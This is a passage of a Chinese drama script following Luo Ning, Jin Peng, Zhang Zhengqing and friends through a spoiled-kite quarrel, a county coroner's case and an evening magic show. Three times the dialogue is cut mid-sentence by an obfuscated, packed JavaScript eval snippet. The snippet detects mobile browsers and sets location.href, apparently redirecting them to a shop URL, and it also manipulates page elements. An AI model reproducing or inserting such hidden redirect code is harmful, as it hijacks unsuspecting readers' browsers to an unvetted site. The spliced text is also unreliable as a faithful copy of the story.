余守泰:还能干什么?当然是种葡萄了!我连酒庄都能给他盖起来,这个更是不在话下! 金鹏:又吹牛!天底下又不是只有你一个花匠! 余守泰:用生不如用熟!与其从外面找一些不懂行的人过来,还不如请我了! 金鹏:既然这样,洛府的活儿你干脆辞了吧! 余守泰:凭什么呀?这两份差事加起来,一年能挣不少钱呢! 金鹏:问题是你忙不过来呀! 余守泰:不就是这两天有点儿事吗?要不这样吧,木兰小院那边你先替我顶着…… 金鹏:和敬堂这边也有不少事呢! 余守泰:嘿嘿!哥知道,咱们家的鹏子如今是风堂主面前的红人,他不管去哪里,都会把你带上,你就跟他的左右手差不多! 金鹏:(憨厚地笑了)嘿嘿!能得到风堂主的赏识,对我来说是件好事! 余守泰:事业腾飞了,感情是不是也不能落下呀?哥问你,你最近去木兰小院的次数,是不是比以往少了许多? 金鹏:不是我不想去,实在是找不到合适的理由。 余守泰:事在人为!你瞧瞧人家银华,自从宁姑娘养了猫之后,人家天天从河里捞两条鱼送过去,嘴上说是喂猫,其实不就是为了哄宁姑娘开心吗? 金鹏:总会里人人都知道银华喜欢宁儿,我若去勤了,岂不是显得太没眼力见儿了? 余守泰:你去那里是为了给花除草,谁敢说你是奔着宁姑娘去的呀? 金鹏:可宁儿只有晚上才在家,我总不能晚上再过去吧? 余守泰:你白天忙嘛,只有晚上才有点儿空,不是吗? 金鹏:那……行吧!我先替你顶着,不过你也要好自为之,别顾了那头儿、顾不上这头儿! 余守泰:放心吧!哥会把一切都安排妥了,绝不让你难堪!嘿嘿! 7-17 洛府,木兰小院,门前(夜,外) 人物:洛宁、金鹏 金鹏来时,洛宁也碰巧从外面回来了。 洛宁:咦!金鹏,你怎么来了? 金鹏:园子里的草长得飞快,我过来清理一下。 洛宁:余大哥呢?他没来吗? 金鹏:他今天有点儿事。 洛宁:哦,是吗?那行,你快进来吧! 7-18 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、金鹏、洛青、洛思思 二人来到园子里,金鹏拿起锄头准备干活儿。 洛宁:金鹏,你吃过晚饭了没? 金鹏:已经吃过了。你呢? 洛宁:我也吃过了。我去煮茶,你要不要也来一杯? 金鹏:好啊! 洛宁刚转过身,却见洛青和洛思思来了,洛青的手里拎着灰姑娘,一脸的不高兴。 洛宁:(笑着迎上去)姐! 洛青:(把猫往洛宁怀里一扔)管好你的猫,别让它离开木兰小院! 洛宁:又怎么了? 洛青:你自己去听雨轩里瞧瞧吧!哼!(说完沉着脸走了) 洛宁:(不解地问洛思思)怎么了?她为何发这么大的火呀? 洛思思:(指着灰姑娘对洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007407|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁)唉,我们辛辛苦苦做的风筝,全被这个小坏蛋给毁了! 洛宁:(冷笑一声)我当是什么大事,弄了半天不过是几个风筝而已。前阵子灰姑娘帮二娘找回了手链,也没见她说一个谢字,如今为了几个风筝,立马就撕破脸了,难怪人们常说“亲不如戚,戚不如朋,朋不如友”呢!以后她若再有什么事,我可不敢管了!哼! 洛思思:(劝洛宁)都是一家人,别说这种见外的话!你先忍一忍,等风筝节过了,自然就好了! 金鹏:宁儿,要不把灰姑娘交给我吧! 洛宁:你们和敬堂的事也挺多,哪里忙得过来呀!我去找寒冰,他最擅长照顾小动物了! 她说完便跟洛思思一起离开木兰小院,去延生堂找寒冰了。 金鹏叹了口气,他原打算借这个机会跟洛宁套套近乎,却不料又发生了这档子事,只能悻悻地拿起锄头,去给花除草了。 7-19 天地会总会,延生堂,寒冰的屋子(夜,内) 人物:寒冰、洛宁、洛思思 灰姑娘在寒冰的怀里,变得十分温顺。 洛思思:寒冰,为何不管什么样的小动物,只要一见到你,立马就变乖了呢? 寒冰:因为我是它们的朋友嘛!其实这些小家伙,都有它们自己的想法,如果你能弄明白的话,自然会知道该如何跟它们相处。 洛宁:那你倒是说说,灰姑娘这会儿在想些什么? 寒冰:它想穿上水晶鞋,去跟王子跳舞。 两个女孩被逗笑了。 洛思思:其实糯米球儿小的时候,也跟它一样调皮,只不过现在老了,身子变懒了。唉,如果有什么办法,能让它返老还童,该多好呀! 洛宁:寒冰这里不是有回春丹吗?你给它吃两颗呗! 洛思思:那东西一旦吃下去,只怕会一命呜呼了。 寒冰:一命呜呼倒也未必,不过会老得更快。 洛宁:听你这么一说,我倒觉得翡翠的葡萄园里,可以用一下回春丹。 寒冰:什么意思? 洛宁:翡翠说,那些葡萄秧若要长成葡萄树,至少得三年,这期间如果再遇上虫害或者冻灾的话,那就更久了。 寒冰:所以你希望它们能长得快一点儿? 洛宁:对呀!越快越好!最好今天刚种下、明天就能长成一棵大树! 洛思思:嘻嘻,那怎么可能呢! 寒冰:(点点头)嗯。愿望虽好,可惜违背了自然规律,不可行! 洛宁:钱不是你出的,你当然不在意了!唉,一想到这三年中间,不仅赚不到一文钱,还要不断地往里面砸钱,唉,我的心就跟刀割一样! 寒冰:要我说,你是身在福中不知福! 洛宁:哦,此话怎讲? 寒冰:去年盖酒庄的事,是翡翠在操心;今年种葡萄的事,也是翡翠在操心;来年酿酒的事,还是翡翠在操心。你这个酒庄的女主人,只出了点儿钱,什么事都没干,却还能分得酒庄一半的收益。像这种美事儿,无异于天上掉馅饼! 洛思思:咦,宁儿,寒冰说得有道理呀! 洛宁:甜妞儿,你知道什么叫“出钱不出力、出力不出钱”吗? 寒冰:丫头!翡翠可是在给你打工,他没向你讨要工钱,你就知足吧! 7-20 洛府,木兰小院,木兰花树下(夜,外) 人物:金鹏、仆人若干 第二天,忙完了和敬堂的事,金鹏匆匆吃过晚饭,又再次来到木兰小院里,想看看能不能遇上洛宁。他在园子里漫不经心地干着活儿,时不时地抬头张望一下,见洛宁迟迟未归,心中诧异,便向她身边的丫鬟打听情况,这才得知洛宁跟张正清去了茂源城。 金鹏(内心独白):唉,怎么这么巧?她在的时候,我没来;如今我来了,她又没在。这是否意味着,我跟她无缘呢? 想到这里,他的心中不免有些沮丧。 61. 第七篇 神奇的魔术师 梁州,茂源城 7-21 县衙,后院(日,外) 人物:张正清、洛宁、陈仵作、少妇、老妇人及其家属 张正清跟知县大人在公堂上审案子。洛宁在陈仵作的带领下,前往后院查验尸体。 验尸房的外面,一位年轻的少妇,正在掩面哭泣。 洛宁:她怎么了? 陈仵作:她丈夫死了,正等着我们验过尸之后,领回去安葬呢! 洛宁:她丈夫怎么死的? 陈仵作:服药过量。 洛宁:自尽吗? 陈仵作:(摇摇头)是一桩意外。 二人正打算进屋,又来了一群人,为首的是一位老妇人,被两个家属搀扶着,一边走一边放声大哭。 老妇人:我的儿呀!你死的好惨呀!呜呜! 当看见少妇时,老妇人的脸一沉,上前便给了她一记响亮的耳光,指着她的鼻子痛骂。 老妇人:贱人!你还有脸待在这里! 少妇:(被打得眼冒金星)婆婆…… 老妇人:别叫我婆婆!我不是你的婆婆!你这个贱人,全是因为你,我儿子才会这么早就死了!你这个丧门星,克死了我的儿子!你赔我儿子的命来! 老妇人越骂越凶,又去打那个少妇,少妇不敢还手,只能抱头痛哭。 少妇:婆婆!对不起!呜呜!对不起!…… 不管少妇怎么哀求,老妇人都不肯饶过她,周围的人眼睁睁地看着,却没有一个人出来阻止。最后,洛宁实在是看不下去了,上前拦住老妇人。 洛宁:有什么话不能好好说吗?你就算是把她打死了,你儿子也活不过来了呀! 老妇人:我教训自己的儿媳妇,跟你有什么关系?走开! 洛宁:这里是县衙,不是你家,在这里闹事的话,我们可以把你抓起来! 老妇人:抓我?行呀!来来来,你最好快点儿!反正我儿子已经死了,我也不想活了!我死在你们县衙里,正好给我儿子做个伴儿! 洛宁:这位婆婆,您这么大岁数的一个人了,怎么不讲道理呀?我问你,你儿子是怎么死的? 老妇人:怎么死的?(指着少妇咬牙切齿地)当然是被这个贱人给克死的! 洛宁:(问少妇)她说你克死了她的儿子,是这么回事吗? 少妇只一个劲儿地哭,什么也不肯说。 洛宁:(指着少妇对老妇人)这位婆婆,知县大人如今正在公堂上,不如您这就去衙门口击鼓喊冤,告诉知县大人是这个女人杀了你的儿子,求知县大人把她抓起来。怎么样? 老妇人:这…… 见老妇人语塞,与她同来的那些人纷纷嚷道。 家属甲:这是我们的家事,你管得着吗? 洛宁:既然是家事,理应在家里解决。如今闹到了县衙里,就归我们管! 家属乙:县衙里怎么了?有本事你把我们全抓起来呀! 家属丙:对呀对呀!全抓起来! 双方越吵越凶之际,张正清来了。 张正清:(板着脸吼)干什么呀?吵什么吵?知道这里是什么地方吗?再闹把你们都抓起来! 他这一声吼不打紧,在场的人全被震住了,纷纷闭上嘴。见他们安静了下来,张正清走上前问陈仵作。 张正清:怎么回事? 陈仵作:回大人,这些人是死者的家属。 张正清:哪个案子? 陈仵作:前日在春风楼里,一位嫖客因为服用了过量的媚药,纵欲过度而亡。 洛宁:(冷笑一声嘲讽)这位婆婆,他说的那个嫖客,该不会就是您的儿子吧?啧啧,弄了半天他是个风流鬼呀! 张正清:(呵斥洛宁)小鬼,胡说什么呢?你在这里干什么? 洛宁:(指着老妇人)她见人就打,我能不管吗? 老妇人:(指着少妇)我打她,是因为她克死了我的儿子。 洛宁:刚才陈仵作已经说得很清楚了,你儿子是在春风楼里死的,又不是死在她怀里! 老妇人:虽然不是死在她怀里,却与她有直接的关系! 洛宁:什么关系? 老妇人:她若是一个贤惠的女人,我儿子又怎么会去外头□□?她嫁入我们家足足三年了,到现在连个孩子都没怀上,一提起这事我儿子就唉声叹气,你让他怎能不去找别的女人? 洛宁:你儿子贪恋美色、贪图淫乐,死在了温柔乡里,你不怪他没管好自己的下半身,反倒怪儿媳妇不贤惠、不能生育。照你这么说,去春风楼里的那些男人,都是因为老婆不贤惠、不能生育,所以才去那里的?你自己不也是个女人吗?身为母亲,你不为儿子的放浪行径感到羞愧,反倒还把责任推给儿媳妇,哪有这样的道理? 老妇人:她是他媳妇,不怨她怨谁? 洛宁:你还是他娘呢,怎么不问问你自己,管好儿子没? 张正清:(呵斥洛宁)小鬼!说够了没?你今天的话怎么这么多呀?冯大人那边还有些公文,你去给我拿过来! 洛宁:哼!又想支开我! 张正清:(吼)还不快去! 洛宁撅着嘴不情不愿地走了。 老妇人:(往地上一跪,对着张正清)大人!求求您,替我儿子主持公道啊! 张正清:怎么?你儿子的死还有什么冤情吗? 老妇人:那些媚药,肯定是那些窑姐哄着他吃的,那些女人根本不知羞耻,为了钱什么缺德事儿都干得出来!求大人,把那晚跟我儿子在一起的女人都抓起来,是她们害死了他! 张正清:陈仵作,这个案子你们调查得怎么样了? 陈仵作:回大人,我们已经审问了春风楼里的老鸨和那晚跟死者在一起的人。死者服用媚药,并非是头一回,也并非只在春风楼里买过媚药,他在本地的几家医馆里也都买过媚药,还向医馆的大夫询问过一些有关夫妻同房之类的事情,似乎他在这方面有什么难言之隐。 老妇人:啊?可他从来没跟我提起过呀! 陈仵作:这种事情本来就是夫妻之间不可告人的秘密,他又怎么会跟你说呢? 老妇人:(问少妇)到底是怎么回事?你们一直没有孩子,难道是…… 少妇:婆婆,相公的身子确实有些毛病,之前我们也找不少大夫瞧过,可惜都不管用。也正因为这个,相公他怕被人笑话,所以才会频频地服用媚药,只是没想到这一回竟然…… 话没说完,少妇已泣不成声,老妇人听了,也跟着嚎啕大哭。 老妇人:儿啊,你怎么这么傻呀!呜呜! 张正清:(叹了口气,对着陈仵作)既然已经查明了死因,就让他们把人领回去,早些安葬吧。 陈仵作:是,大人! 7-22 县衙,门前(日,外) 人物:洛宁、张正清 张正清从县衙里出来时,洛宁正在门口等着他,她撅着小嘴,对他爱搭不理。 张正清:(冲着她笑)怎么?还在生我的气呀? 洛宁:我哪敢生您的气呀,张大人! 张正清:唉,又来了!你呀你,不管有理无理,都同样不饶人! 洛宁:我哪里错了? 张正清:那位婆婆刚刚失去了儿子,心里正难受,你那样说人家,是不是太过分了? 洛宁:她打她的儿媳妇就不过分呀? 张正清:我知道,你是路见不平、拔刀相助,但在这种情况下,咱们还是应该体谅一下人家。 洛宁:哼,既然你这么会体谅人,干脆你去给她当儿子好了! 张正清:呵呵,就算我想,人家也不乐意呀!行啦行啦,小鬼,别生气了!我带你去吃顿好的,怎么样? 洛宁:哼,我今天算是明白了,难怪我姐总说嫁人不是嫁给他一个人、而是嫁给他一家人,如果他的家人不好,那么他再好也不能嫁。 张正清:嗯,也有点儿道理。 洛宁:照这么说,无父无母的话岂不是更好? 张正清:这样未免太偏激了,不是所有的婆婆都像她那样,也有很多婆婆对儿媳妇很好。 洛宁:谁呀?伯母吗? 张正清:(笑盈盈地望着她)对呀!我娘对你不是挺好吗? 洛宁:那你怎么不成亲呀?我还等着喝你的喜酒呢! 张正清:(白了她一眼)就你那点儿酒量,还想喝人家的喜酒?别添乱了! 洛宁:怎么?不想请我呀? 张正清:请呀!我不仅要请你,还要请你当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007408|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主角呢! 洛宁:(顿时来了劲儿)真的吗?太好了!张大哥,我告诉你,我这个人唱歌跳舞样样在行,到时候一定会帮你把婚礼办得热热闹闹,跟过年一样。 张正清:(又好气又好笑)行呀!那我就拭目以待了! 梁州,郊外 7-23 马车车厢(夜,内) 人物:张正清、洛宁、百姓若干 吃过晚饭,张正清带着洛宁坐上马车,往城外驶去。 洛宁:张大哥,我们不回客栈吗? 张正清:时候尚早,我带你去一个好地方。 洛宁:又要去沽酒呀? 张正清:这里不是同好城,找谁沽酒? 洛宁:那是什么? 张正清:(冲着她挤挤眼)去了你就知道了。 沿路可见许多马车,跟他们往同一个方向驶去。 洛宁:咦!这个时候,路上怎么会有这么多马车?他们去哪儿? 张正清:小鬼,知道什么叫“同道中人”吗?这些就是了!呵呵! 走了一段之后,远处出现一团火光,火光的上空,亮如白昼。 洛宁:(指着火光对张正清)张大哥,你瞧!那里是什么地方? 张正清:那里是咱们梁州境内最大的竞技场。 洛宁:竞技场?你说的那个好地方,该不会就是它吧? 张正清:(笑着点点头)正是。 洛宁:那里有什么? 张正清:一场空前盛大的演出,有歌舞、有马戏、还有……嗯,魔术。 洛宁:(顿时来了精神)魔术? 张正清:呵呵,我就知道你会对这个感兴趣。 洛宁:这么说,今晚的事情,其实你早就计划好了? 张正清:(开玩笑)嘿嘿,我先以出公差的名义,将你骗至茂源城;然后又用一顿美味佳肴,哄得你对我放下了戒心;最后再投其所好,利用你喜欢魔术的心理,一举将你掳获。(一脸得意)怎么样?是不是很高明呀? 洛宁:不愧是一府督察,干起坏事来,比别人更在行!不过张大哥,我怎么觉得你是因为害怕被人笑话、所以才这么做的呢? 张正清:我怕被人笑话?为何? 洛宁:你瞧瞧咱们周围的马车里,要么坐着成双成对的男女,要么坐着和和美美的一家人;再瞧瞧你自己,形单影只、顾影自怜。唉,今日我若不来的话,你不就成孤家寡人了吗?跟他们坐在一起看演出,心里难受不? 张正清:(没好气地)小鬼,我是孤家寡人,你又是什么?我心里难受,你心里就好受呀? 洛宁:所以我才没笑话你嘛!嘻嘻! 梁州,竞技场 7-24 门前(夜,外) 人物:张正清、洛宁、看客若干 二人来到竞技场后,发现这里早已人山人海,而进入竞技场的通道上,也排起了长队。 洛宁:天哪!怎么会有这么多人? 张正清:(趁机向她伸出手)小鬼,来!牵着我的手,咱俩别走散了。 洛宁:(想都没想一口答应)哦,好。 握着她的小手,张正清的心中数数欢喜,不住地偷笑。 洛宁:张大哥,这个演出团是何方神圣?怎么会有这么多人来给他们捧场? 张正清:你听说过沧海一粟吗? 洛宁:噢,原来是他们呀! 张正清:你也知道? 洛宁:在聚胜古都时,我曾看过一场他们的演出。不过因为当时还小,只记得很热闹,具体演了些什么,也不太明白。 张正清:那你今晚可以好好地欣赏一下了。 洛宁:在这个演出团里,有一个魔术师,名叫孟悲欢,今晚有他的节目吗? 张正清:有,不过在最后一个,是全场的压轴戏。 洛宁:(激动)太好了!我印象里最深刻的就是他了!他就像一个造物主,什么都能变出来。 张正清:(指着周围的火光)瞧这些火光!据说也是他变出来的。 洛宁:天哪!既然他这么厉害,能不能请他去翡翠的葡萄园里走一趟、把那些葡萄秧全变成葡萄树? 张正清:小鬼,你没听出来吗?我是在逗你玩呢!哈哈哈! 62. 第七篇 神奇的魔术师 梁州,竞技场 7-25 贵宾区(夜,内) 人物:张正清、洛宁、欧阳兰兰、翡翠、看客若干 排了半天的队之后,二人方才进入场内,寻找着自己的座位。 洛宁:张大哥,你选的位置可真好,碰巧是正对着演出台中央的贵宾席呢! 张正清:这里可是我的辖区,前排中间的位置当然非我莫属了。 洛宁:这么好的位置,价钱一定很贵吧? 张正清:我可是一府督察,谁敢跟我要钱呀? 洛宁:也是啊!你随随便便找个理由,就能罚他一千倍。 张正清:(白了她一眼)小鬼!怎么在你的眼里,我这个人就没一点儿好呢?我请你吃饭又请你看戏,怎么就收买不了你呢? 洛宁:想收买我也不难,只要你天天请我吃饭、天天请我看戏,我保证对你死心塌地! 张正清:这个好说!你在督察府里干活儿,我管你一日三餐;至于看戏嘛…… 洛宁:怎样? 张正清:我唱你和,咱俩不就是一台戏吗?哈哈哈! 二人来到座位前,正打算坐下,旁边的一名女子扭过头来,发出一声惊呼。 欧阳兰兰:天哪!宁姐姐! 洛宁:(也跟着吃了一惊)咦,欧阳兰兰? 欧阳兰兰:(当看到张正清时,又发出一声惊呼)天哪!张督察! 洛宁:(认出坐在欧阳兰兰旁边的男人)翡翠? 欧阳兰兰:我的天!怎么会这么巧? 洛宁:是啊!我也没想到会在这里遇上你们! 张正清也感到十分意外,他的脸微微一红,又听欧阳兰兰笑道。 欧阳兰兰:不过张督察,你怎么会跟宁姐姐在一起呀?嘻嘻,该不会你们…… 洛宁:欧阳兰兰,别胡说!我们是…… 张正清:(抢先说)我们是来办案的。 这一说不打紧,连洛宁都愣住了。 欧阳兰兰:办案? 张正清:对呀! 欧阳兰兰:在这种地方? 张正清:这种地方怎么了?越是像这种人多的地方,越容易出大事,你明白吗? 欧阳兰兰:(一听便慌了)会……会出什么大事呀? 张正清:这个不能告诉你,免得影响我们办案。不过,看在你跟宁儿是老熟人的份上,我倒是可以向你透露一点点儿。 欧阳兰兰:(急切地问)什么呀?你快说! 张正清:你想想,连我都亲自过来坐镇了,会是小事吗?(随手指着后排的一个男人)看见那个穿黄衣裳的男人没?他是咱们督察府的官差,乔装成做买卖的小贩,埋伏在场内,就等着我一声令下呢!(故意压低声音)其实,场内场外都有我们的人…… 洛宁:张大哥,真的吗?我好像从来没见过那个人呀! 张正清:没见过才对呢!如果一眼就被你认出来了,岂不是要坏事了? 洛宁:真的有案子呀? 张正清:(一本正经地)这种事情,能开玩笑吗? 洛宁:你刚才怎么不说? 张正清:我现在也不能说!场内场外这么多人,哪怕出了一丁点儿岔子,全都得完蛋! 欧阳兰兰:(吓得脸色发白)天哪!这么可怕!翡翠,咱们还是别留在这里了,赶紧走吧! 翡翠:我不走。 欧阳兰兰:翡翠!这可是张督察亲口说的,不是什么儿戏! 翡翠:要走你走,我不走! 欧阳兰兰:宁姐姐,快帮我劝劝他吧! 洛宁:翡翠,既然兰兰想走,你就跟她一起走吧! 翡翠:你走不走? 洛宁:我是督察府的人,当然不能走了! 翡翠:张督察说得那么严重,你不怕吗? 洛宁:怕的话,当初就不会干这一行了! 翡翠:是啊!(故作轻蔑地)你一个女流之辈都不怕,我怕什么呀? 洛宁:(一听便恼了)女流之辈?欧阳兰兰,你听见没?这家伙在骂咱们呢!(指着翡翠)翡翠,你给我听清楚了!你不想走是吗?行!今儿咱们都别走了,非把这场演出看完了不可!谁先走谁就是吃素的!哼!(说完一屁股坐在了椅子上) 欧阳兰兰:宁姐姐,吃素也挺不错…… 洛宁:姑娘我生来就是吃肉的!哼! 见二人赌气,欧阳兰兰只好向张正清求助。 欧阳兰兰:张督察,怎么办呀? 张正清:(故作无奈)唉,反正该说的我都说了,你们非要留在这里的话,一会儿若是出了什么事,我可不管哟!(说完也在椅子上坐下了) 翡翠:(不以为然地)这里这么多人,就算出了什么事,也未必会殃及咱们。 张正清:那可就不好说了!前阵子发生在锦州的案子,你们听说了吗?凶手拿着一把刀,走上街头,见人就捅,甭管认不认识,一个都不放过。(故意扫了一眼四周,低声对欧阳兰兰)谁知道咱们身边有没有这样的人呢? 欧阳兰兰:(顿时急了)翡翠!这个时候,你就别任性了! 翡翠:(指着洛宁)她走我就走! 欧阳兰兰:宁姐姐! 洛宁:(指着翡翠)他都没走,我为何要走? 欧阳兰兰:(哭丧着脸)张督察! 张正清:都不肯走是吗?那行!咱们就等着看好戏吧!哼哼! 演出开始了。先是一场盛大的歌舞表演,接着是一场精彩的马戏表演,最后才是最令人期盼的魔术表演。 7-26 贵宾区(夜,内) 人物:张正清、洛宁、欧阳兰兰、翡翠、看客若干 洛宁很快被场上的表演吸引住了,她与张正清有说有笑,竟忘了刚才说的那些事情。而另一边,翡翠的脸色也越来越难看,这让欧阳兰兰更加不安了。 欧阳兰兰:翡翠? 翡翠:你若是觉得不安,可以跟宁换个座位。 欧阳兰兰:换座位?为何? 翡翠:张督察是武状元,有他在你身边,岂不是更安全? 欧阳兰兰:咦,也是啊!(对着洛宁)宁姐姐,咱俩换一下吧! 洛宁:换一下?为何? 欧阳兰兰:(随口编了个理由)我的眼睛最近有点儿斜视,大夫说不能坐在右边。 洛宁:可咱俩都坐在中间呀! 欧阳兰兰:跟你比的话,我这里不就是右边吗? 洛宁:当初你订座位的时候,怎么没买左边的票? 欧阳兰兰:票是别人帮我订的,我哪知道他碰巧选了右边呢! 洛宁:那行吧,既然你想坐左边,我跟你换一下也无妨。 张正清:要换都换!我们坐过去,让他俩坐过来。 洛宁:好啊! 欧阳兰兰:宁姐姐,咱俩换一下就行了,何必劳烦他俩呢? 张正清:欧阳兰兰,你不是跟翡翠公子一起来的吗?怎么?你不想跟他坐一起呀? 欧阳兰兰:不是说了吗?我的眼睛有问题。 张正清:那就让他陪着你坐在左边,多好呀! 翡翠:我不换。 欧阳兰兰:张督察,你听见了没?不是我不想带上他,是他不愿意跟你换。 张正清:翡翠公子,咱俩换一下呗! 翡翠:我坐在这里挺好,不想换。 洛宁:翡翠,你过来陪欧阳兰兰说会儿话呗! 翡翠:你以为我是你呀?一张嘴吧啦吧啦讲个不停,还嫌这里不够吵啊?哼! 见翡翠生气,洛宁也不好再说些什么,只能跟欧阳兰兰换了座位。此时,翡翠的神色方才有所缓和。而张正清原本跟洛宁聊得正欢,此时跟欧阳兰兰坐在一起,两个人都十分尴尬。 翡翠:你们来这里,真的是为了办案? 洛宁:张大哥说是就是呗! 翡翠:他肯定在撒谎。 洛宁:以前也有过这样的情况,不到最后关头,谁也不知道自己该干些什么。 翡翠:督察府里那么多有本事的人,他为何偏偏带上了你这个最没用的人? 洛宁:(没好气地)嘚瑟什么呀?你不就是会几下拳脚功夫吗?上次跟银华踢球,赢了没? 翡翠:你配的药太少了,我怕他们不够用。 洛宁:那些都是给你配的!哼! 见二人说个不停,欧阳兰兰有些不满。 欧阳兰兰:宁姐姐,你怎么不管跟谁在一起都有说不完的话呢? 洛宁:欧阳兰兰,咱俩还是换回去吧,我不想跟这家伙坐在一块儿! 欧阳兰兰:(压低声音)唉,其实我也不想跟张督察坐在一块儿,太别扭了! 洛宁:那还等什么?赶紧换回来呗! 翡翠:(装模作样地往后看了看)咦?那个做买卖的小贩呢?怎么不见了? 欧阳兰兰:(顿时紧张起来)啊!会不会出事了?(对着洛宁)宁姐姐,换来换去多麻烦呀,就这样吧! 见欧阳兰兰打消了主意,翡翠不动声色地笑了。 7-27 贵宾区(夜,内) 人物:张正清、洛宁、欧阳兰兰、翡翠、小贩、看客若干 欧阳兰兰跟张正清没话说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007409|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛宁又在跟翡翠赌气,于是两个女孩聊了起来,把两个男人撇在了一旁。 欧阳兰兰:宁姐姐,你说今晚会发生什么大事呀? 洛宁:(已经忘得一干二净)大事?什么大事? 欧阳兰兰:还能是什么?当然张督察说的那件事了! 洛宁:噢,那个呀!我也不知道! 欧阳兰兰:你可是督察府的人,怎么会一无所知? 洛宁:我也是被他骗来的! 欧阳兰兰:他连你都瞒着,说明这件事真的很严重! 洛宁:对呀!所以他才劝你们早点儿离开嘛! 欧阳兰兰:翡翠不肯走,我能怎么办? 洛宁:这家伙向来难伺候,你说往东,他偏要往西,要么你听他的,要么他跟你说拜拜。 欧阳兰兰:那怎么办呀?我都快急死了! 洛宁:我倒是有个办法。 欧阳兰兰:快说! 洛宁:这家伙从小到大,特别爱干净,你若是把咱们坐的这块地方弄脏了,他肯定要走。 欧阳兰兰:咦,这个办法好!(招呼小贩)伙计,给我们来几包瓜子! 欧阳兰兰和洛宁一边嗑瓜子一边说笑,不一会儿工夫,她们面前的地上全是瓜子壳儿。 翡翠:(皱起眉头)你们两个吃够了没? 洛宁:我还想再来几包花生。 欧阳兰兰:还有麻花,你想吃甜的还是咸的? 洛宁:甜的咸的都要! 欧阳兰兰又招呼小贩,买了一大堆吃的东西。 翡翠:你俩来这里,到底是为了看演出、还是为了吃东西? 洛宁:边吃边看呗! 欧阳兰兰:翡翠,这个芝麻球不错,你要不要也来几颗? 翡翠:你俩吃这么多,也不怕被噎死了? 洛宁:咦,也是啊!(招呼小贩)伙计,再给我们来两杯茶水! 欧阳兰兰:我要喝苹果汁! 洛宁:不如每样都来一杯! 欧阳兰兰:好啊! 欧阳兰兰和洛宁把小贩的东西全买了下来,又吃又喝,还故意把茶水泼得满地都是。 张正清:你俩的吃相可真难看呀! 欧阳兰兰:我平常也是这么吃的,反正又用不着我来打扫! 洛宁:对呀,张大哥!这里又不是督察府,你是不是也该放松一下?这些草莓可真甜,你也尝尝呗! 洛宁的草莓还没递到张正清的手里,就被翡翠夺下来扔在了地上。 翡翠:够了!都给我出去! 洛宁:出去?为何呀? 欧阳兰兰:是啊!演出还没结束呢! 翡翠:你们是来看演出的吗?你们这副样子,有没有尊重演出的人? 洛宁:我来给他们捧场,不就是尊重他们吗? 欧阳兰兰:对呀!我买了贵宾席的票,这里最尊重他们的人就是我了! 翡翠:你们到底走不走? 洛宁:不是说了吗?姑娘我是吃肉的! 翡翠:不走是吗?行!我走!哼! 翡翠说完气冲冲地走了,欧阳兰兰冲洛宁使了个眼色,起身追了出去。 张正清:(正中下怀)呀,怎么说走就走了?东西还没吃完呢! 洛宁:张大哥,他们不吃就算了,咱俩吃吧! 张正清:好啊,哈哈! 二人有说有笑,时间过得飞快。 7-28 马车车厢(夜,内) 人物:翡翠、欧阳兰兰 回去的路上,翡翠一直阴沉着脸,欧阳兰兰知道他在生气,也不敢多言。 坐上了马车,欧阳兰兰终于松了口气。 欧阳兰兰(内心独白):唉,不管怎样,这条命算是保住了! 7-29 马车车厢(夜,内) 人物:张正清、洛宁 演出结束时,已是深夜。张正清带着洛宁坐上马车,返回茂源城。 洛宁:张大哥,你不是说有大事要发生吗?怎么一点儿动静都没有? 张正清:哦,那个……估计是消息错了。 洛宁:场上那些督察府的人呢? 张正清:演出结束了,当然是各回各家了。 洛宁:(显然不太相信)真的有案子吗? 张正清:有啊! 洛宁:是什么?这会儿你总该告诉我了吧! 张正清:都已经办完了,还提它干嘛?(打了个哈欠)唔,好困呀!别说话了,让我眯一会儿。 洛宁:(撅起嘴)哼,你肯定在骗我! 张正清得意地笑了。 63. 第七篇 神奇的魔术师 梁州,凤凰城 7-30 洛府,木兰小院,走廊上(日,外) 人物:洛宁、欧阳兰兰、银华 一听说洛宁回来了,欧阳兰兰便迫不及待地找上门。 欧阳兰兰:宁姐姐,你骗我! 洛宁:怎么了? 欧阳兰兰:竞技场那天晚上根本没发生任何事,你害得我好不容易买到的贵宾席的票打了水漂。哼! 洛宁:你一大早来这里找我,就是为了这个呀?你怎么不去找张大哥呢?他才是始作俑者!噢,我明白了!你不敢找他的茬,觉得我好欺负,所以就把这笔账算到我的头上了! 欧阳兰兰:反正那天晚上你俩都在场,我找谁都一样!哼! 洛宁:那你倒是说说,想怎么样? 欧阳兰兰:你赔我的钱! 